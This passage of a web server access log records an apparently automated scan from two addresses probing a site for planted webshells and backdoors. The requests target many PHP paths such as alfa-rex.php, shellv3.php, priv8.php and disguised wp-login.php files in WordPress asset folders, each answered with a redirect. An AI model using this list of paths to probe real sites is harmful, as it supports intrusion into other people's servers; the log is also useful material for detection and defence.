[23/Apr/2025:03:22:49 -0400] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /test/wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:22:49 -0400] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-admin/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-includes/PHPMailer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-admin/maint/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-content/plugins/js_composer/assets/wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:49 -0400] "GET /exit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:50 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-includes/SimplePie/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-includes/images/wlwmod_popular.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-admin/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:50 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-admin/css/colors/coffee/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-content/themes/cay-van-phong/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-includes/IXR/class-IXR-requests.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-admin/css/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-includes/sitemaps/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:50 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-content/plugins/devvn-quick-buy/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-admin/css/colors/blue/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-includes/images/smilies/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:50 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:50 -0400] "GET /wp-content/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /images/2008.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:22:51 -0400] "GET /delete3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-admin/css/colors/midnight/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-content/upgrade/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-includes/PHPMailer/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /hiroshi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-admin/images/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /profile.php6 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /fun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-admin/css/colors/blue/hizuka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-admin/js/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /.well-known/deposit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:51 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /kajisak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-admin/css/colors/coffee/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-content/plugins/fix/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /home.php?xsec=team2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-content/uploads/lndex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:22:51 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /trust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:51 -0400] "GET /phpzipincs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:51 -0400] "GET /wp-admin/js/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-admin/maint/yes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /godsend.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-includes/Text/Diff/Renderer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:52 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /.well-known/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-admin/network/word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-includes/pomo/mpvloi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-zett.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:52 -0400] "GET /css/wp-casper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /extracte_wordprees/dirfunc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /LV.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:52 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-includes/images/wlw/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-admin/images/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-includes/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-admih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:52 -0400] "GET /assets/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-includes/class-wpdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-includes/images/wlw/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-admin/includes/media.php.INFECTED.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:52 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 